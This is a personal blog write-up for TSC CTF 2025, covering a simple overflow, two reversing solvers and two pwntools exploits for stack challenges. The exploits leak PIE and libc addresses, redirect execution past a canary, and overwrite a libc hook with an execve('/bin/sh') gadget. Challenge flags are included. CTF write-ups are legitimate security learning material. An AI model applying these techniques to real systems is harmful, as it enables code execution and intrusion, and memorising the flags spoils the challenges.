TSC CTF 2025 WriteUP

Chihhh Linnn 香菇頭

TSC CTF 2025

gamble_bad_bad

check jackpot_value == 777

蓋掉 buf[20] 777 -> jackpot_value

exp : aaaaaaaaaaaaaaaaaaaa777

image

What_Happened

image

1
2
3
4
5
6
7
8
9
encrypted_flag = [
0xFE, 0xF9, 0xE9, 0xD1, 0xE3, 0xF5, 0xFE, 0xC2, 0xC3, 0xC4, 0xC1, 0xF5,
0xD3, 0xC5, 0xDF, 0xF5, 0xEC, 0xC3, 0xD2, 0xF5, 0x98, 0xC5, 0xC7, 0xCF,
0xF5, 0x99, 0xD8, 0xD8, 0xC5, 0xD8, 0xD7
]

# XOR with 0xAA to decrypt
decrypted_flag = ''.join(chr(byte ^ 0xAA) for byte in encrypted_flag)
print(f"Decrypted Flag: {decrypted_flag}")

TSC{I_Think_you_Fix_2ome_3rror}

Chill_checker

1
2
3
4
5
6
7
8
9
10
11
12
13
def reverse_transform(a1):
original_a1 = []
for i in range(8): # Loop for each character
current_char = ord(a1[i]) - 65 # Convert to 0-based index
shift = (31 * (i + 8)) % 26 # Calculate shift
original_index = (current_char - shift) % 26 # Reverse shift, wrap within 0-25
original_char = chr(original_index + 65) # Convert back to ASCII
original_a1.append(original_char)
return ''.join(original_a1)

# Given transformed a1
transformed_a1 = "SGZIYIHW"
print("Original a1:", reverse_transform(transformed_a1))

ENBFQVPZ

截圖 2025-01-14 16.33.24

localstack

看 Stack 大概是oob

pop , push 40 會出現
截圖 2025-01-24 21.16.47

  • xinfo 93824992247152
    截圖 2025-01-24 21.23.04

可以看到這邊定位到 __do_global_dtors_aux

截圖 2025-01-24 21.43.03

這邊 leak address 就可以算出 process 的 base address

  1. 繼續 pop stack 可以看到他慢慢的往 低位置移動
    image

  2. 多 pop 幾次就會到 ret function 了
    截圖 2025-01-25 00.23.19

  3. 最後再依序 push ret , print_flag 的 address 就可以bypass canary 跳到 print_flag function 去
    截圖 2025-01-25 01.22.42

Exploit
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
from pwn import * 

context.arch = 'amd64'
context.terminal = ['tmux', 'splitw', '-h']

# r = process("./localstack")
r= remote("172.31.1.2", 11100)

r.sendlineafter(b">>", b'pop')
r.sendlineafter(b">>", b'push 40')
r.sendlineafter(b">>", b'show')

# 64
# main+472
# /root/pwn/tsc/localstack

# print_flag 0x1289

r.recvuntil("Stack top: ")

pie = int(r.recvline().strip())- 0x3d70

success("Base Address -> %s" % hex(pie))

# pause()

flag = pie + 0x1289
ret = pie + 0x15a1

for i in range(10):
r.sendlineafter(b'>>', b'pop')

r.sendlineafter(">>",f"push {str(ret)}")
r.sendlineafter(">>",f"push {str(flag)}")
r.sendlineafter(b'>>',b'exit')


r.interactive()

TSC{1_g07_0_point_1n_D474_57ruc7ur3_d0_U_hAv3_anY_1d3a?_haha}

Globalstack

patch libc

1
2
3
$patchelf --set-interpreter ./share/ld-2.31.so ./share/globalstack

$patchelf --replace-needed libc.so.6 ./share/libc-2.31.so ./share/globalstack
  • pop 一次後會 leak <_IO_2_1_stdin>
    截圖 2025-01-31 22.00.52
    截圖 2025-01-31 22.01.17
    截圖 2025-01-31 21.56.55

__.*_hook@@GLIBC_2.2.5
截圖 2025-01-31 23.45.46
截圖 2025-01-31 23.43.18

截圖 2025-01-31 23.14.18

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
#!/usr/bin/python3

from pwn import *
import warnings

warnings.filterwarnings("ignore", category=BytesWarning)

context.arch = 'amd64'
context.terminal = ['tmux', 'splitw', '-h']

r = process("./share/globalstack")
#r= remote("172.31.1.2", 11101)

r.sendlineafter(b'>> ',b'pop')
r.sendlineafter(b'>> ',b'pop')

r.recvuntil(b'Popped ')

base = int(r.recvuntil(b" "))- 0x1ec980 # <_IO_2_1_stdin_> : `readelf -r share/libc-2.31.so | grep _IO`

success("Libc base -> %s" % hex(base))

r.sendlineafter(b'>> ',b'pop') # 0
r.sendlineafter(b'>> ',b'pop') # Top 93824992247824
r.sendlineafter(b'>> ',b'pop') # 93824992247816
r.sendlineafter(b'>> ',b'pop') # <__cxa_finalize>

amhook = base + 0x1eee40
libc_sh = base + 0xe3b01 # execve("/bin/sh", r15, rdx)

log.info("free_hook -> %s" % hex(amhook))
log.info("sh -> %s" % hex(libc_sh))

# pause()

r.sendlineafter(b'>> ',f"push {str(amhook)}") # __after_morecore_hook
r.sendlineafter(b'>> ',f"push {str(libc_sh)}")
r.sendlineafter(b'>> ',b'exit')
r.sendline(b'cat /home/$(whoami)/flag')

r.interactive()

TSC{fr33_h00k_1s_nO_L0ng3r_fr33_AFt3r_Glibc_2.34_^_^_2d9e302796bcf60e}

Other Writeup

pwn2ooown

  • Title: TSC CTF 2025 WriteUP
  • Author: Chihhh Linnn
  • Created at : 2025-01-27 22:00:07
  • Updated at : 2025-01-27 22:00:07
  • Link: https://chihhhs.github.io/2025/01/27/tscctf2025/
  • License: This work is licensed under CC BY-NC-SA 4.0.